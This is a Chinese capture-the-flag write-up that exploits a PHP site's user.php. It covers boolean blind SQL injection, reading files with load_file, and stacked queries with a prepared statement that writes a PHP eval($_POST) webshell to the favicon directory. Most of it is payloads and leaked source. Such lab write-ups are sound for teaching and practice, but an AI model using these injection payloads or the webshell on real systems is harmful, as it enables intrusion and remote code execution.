1、打开环境,右键看源代码:
发现网站存在登录与注册功能
2、登录:
注册:
3、测试登录注册功能时,发现存在二次注入漏洞:
注册用户名:admin'#:
发现单引号被转义了,退出从登录界面登录:
可以发现单引号没被转义了;点击用户信息:
发现直接跳转到admin这里来了,但是此处二次注入利用不了,waf太强了
4、测试user.php文件提交的数据id,发现存在越权访问:
通过异或:
id=0^if(ascii(mid((user()),1))>0,1,0)
发现测试成功,此处存在布尔盲注,但是过滤了很多东西;
我们用脚本读一些东西:
首先读取user():
suctf@localhost
尝试一下load_file尝试之后,发现是可以读取成功的:
id=0^if(ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870),1))>0,1,0)
这里转为十六进制,是因为转义单引号
同样通过脚本读取:
user.php:
<?php include_once('../bwvs_config/sys_config.php');
if(isset($_SESSION['user_name']))
{include_once('../header.php');
if( isset($SESSION['user_id']))
{
$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name="."'{$_SESSION['user_name']}'";
$data=mysqli_query($connect,$sql) or die('Mysql Error ');
$result = mysqli_fetch_array($data);
$_SESSION['user_id'] = $result['DWVS_user_id']; }
$html_avatar = htmlspecialchars($_SESSION['user_favicon']);
if(isset($_GET['id'])){
$id=waf($_GET['id']);
$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_id =".$id;
$data = mysqli_multi_query($connect,$sql) or die();
$result = mysqli_store_result($connect);
$row = mysqli_fetch_row($result);
echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>".$row[4]."</h3>
mysqli_multi_query()这里发现是存在堆叠注入的
读取/bwvs_config/sys_config.php文件,发现waf.php:
<?php
function waf($str){
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@",$str);
return addslashes($str); }
?>
5、接下来采用MYSQL预处理:
因为我们要写shell,必须要用单引号,通过预处理可以绕过转义单引号:因为前面通过修改头像发现/favicon目录有写权限:
select '<?php eval($_POST['x']);?>' into outfile '/var/www/html/favicon/a.php'转为十六进制
0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f612e70687027
payload:
id=2;set @xx=0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f612e70687027;prepare x from @xx;execute x;